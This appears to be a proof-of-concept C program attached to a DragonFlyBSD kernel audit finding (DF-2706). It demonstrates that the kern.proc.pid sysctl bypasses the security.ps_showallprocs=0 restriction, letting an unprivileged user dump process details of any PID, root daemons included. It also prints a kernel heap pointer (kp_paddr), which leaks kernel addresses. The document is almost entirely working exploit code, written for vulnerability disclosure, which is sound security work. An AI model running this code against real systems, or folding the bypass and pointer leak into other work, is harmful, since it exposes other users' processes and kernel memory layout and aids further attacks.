DragonFlyBSD Kernel Audit
DF-2706 / pidsnoop.c
← back to finding ↓ download raw
/*
 * DF-2706 PoC: kern.proc.pid.<pid> bypasses security.ps_showallprocs=0
 *
 * sysctl_kern_proc() (sys/kern/kern_proc.c:1686-1694) fast path for
 * KERN_PROC_PID applies only PRISON_CHECK(), while every other selector
 * flows through the "ps_showallprocs == 0 -> p_trespass()" gate at
 * kern_proc.c:1715-1721.  With the knob at 0 an unprivileged user still
 * gets the full struct kinfo_proc of ANY pid (root daemons included) by
 * querying kern.proc.pid.<pid> directly.
 *
 * usage: pidsnoop <pid>          - dump kinfo_proc of <pid> via kern.proc.pid
 *        pidsnoop -all           - count records visible via kern.proc.all
 *        pidsnoop -uid <uid>     - count records visible via kern.proc.uid
 *
 * Expected on a vulnerable kernel with security.ps_showallprocs=0,
 * run as unprivileged user, target = root-owned process:
 *   kern.proc.pid.<pid>   -> 1 record, kp_comm = target name   (BYPASS)
 *   kern.proc.all         -> 0 records                          (gated)
 *   kern.proc.uid.0       -> 0 records                          (gated)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/kinfo.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int
query_list_mib(const char *node, int tail, void **outp, size_t *lenp)
{
	int mib[CTL_MAXNAME];
	size_t miblen = CTL_MAXNAME;
	void *buf;
	size_t len = 0;

	if (sysctlnametomib(node, mib, &miblen) != 0)
		errx(1, "sysctlnametomib(%s): %s", node, strerror(errno));
	mib[miblen++] = tail;
	if (sysctl(mib, miblen, NULL, &len, NULL, 0) != 0) {
		*outp = NULL;
		*lenp = 0;
		return (-1);
	}
	if (len == 0) {
		*outp = NULL;
		*lenp = 0;
		return (0);
	}
	buf = malloc(len);
	if (buf == NULL)
		err(1, "malloc");
	if (sysctl(mib, miblen, buf, &len, NULL, 0) != 0)
		err(1, "sysctl read %s.%d", node, tail);
	*outp = buf;
	*lenp = len;
	return (0);
}

static void
dump_pid(int pid)
{
	struct kinfo_proc *ki;
	size_t len;

	printf("kern.proc.pid.%-16d", pid);
	if (query_list_mib("kern.proc.pid", pid, (void **)&ki, &len) != 0) {
		printf(" -> probe error: %s\n", strerror(errno));
		return;
	}
	if (len == 0) {
		printf(" -> 0 records (NOT VISIBLE)\n");
		return;
	}
	printf(" -> %zu record(s)\n", len / sizeof(struct kinfo_proc));
	for (size_t i = 0; i < len / sizeof(struct kinfo_proc); i++) {
		printf("    [rec %zu] pid=%d ppid=%d uid=%u pgid=%d sid=%d comm=\"%s\"\n",
		    i, ki[i].kp_pid, ki[i].kp_ppid, (unsigned)ki[i].kp_uid,
		    ki[i].kp_pgid, ki[i].kp_sid, ki[i].kp_comm);
	}
	printf("    kp_paddr (kernel heap ptr, cf DF-0179/DF-0016) = 0x%llx\n",
	    (unsigned long long)ki[0].kp_paddr);
	free(ki);
}

static void
count_list(const char *name, int tail, int use_mib)
{
	void *buf;
	size_t len = 0;

	printf("%-28s", tail >= 0 || use_mib ? name : name);
	if (use_mib) {
		char full[64];
		snprintf(full, sizeof(full), "%s.%d", name, tail);
		printf("%-4s", "");
		if (query_list_mib(name, tail, &buf, &len) != 0) {
			printf(" -> probe error: %s (0 records assumed)\n",
			    strerror(errno));
			return;
		}
		if (len == 0) {
			printf(" -> 0 records\n");
			return;
		}
	} else {
		if (sysctlbyname(name, NULL, &len, NULL, 0) != 0) {
			printf(" -> size probe error: %s (0 records assumed)\n",
			    strerror(errno));
			return;
		}
		if (len == 0) {
			printf(" -> 0 records\n");
			return;
		}
		buf = malloc(len);
		if (buf == NULL)
			err(1, "malloc");
		if (sysctlbyname(name, buf, &len, NULL, 0) != 0)
			err(1, "sysctlbyname %s", name);
	}
	printf(" -> %zu record(s)\n", len / sizeof(struct kinfo_proc));
	free(buf);
}

int
main(int argc, char **argv)
{
	printf("running as uid=%d euid=%d\n", getuid(), geteuid());

	if (argc == 2 && strcmp(argv[1], "-all") == 0) {
		count_list("kern.proc.all", -1, 0);
		return (0);
	}
	if (argc == 3 && strcmp(argv[1], "-uid") == 0) {
		count_list("kern.proc.uid", atoi(argv[2]), 1);
		return (0);
	}
	if (argc == 2) {
		dump_pid(atoi(argv[1]));
		return (0);
	}
	fprintf(stderr, "usage: %s <pid> | -all | -uid <uid>\n", argv[0]);
	return (2);
}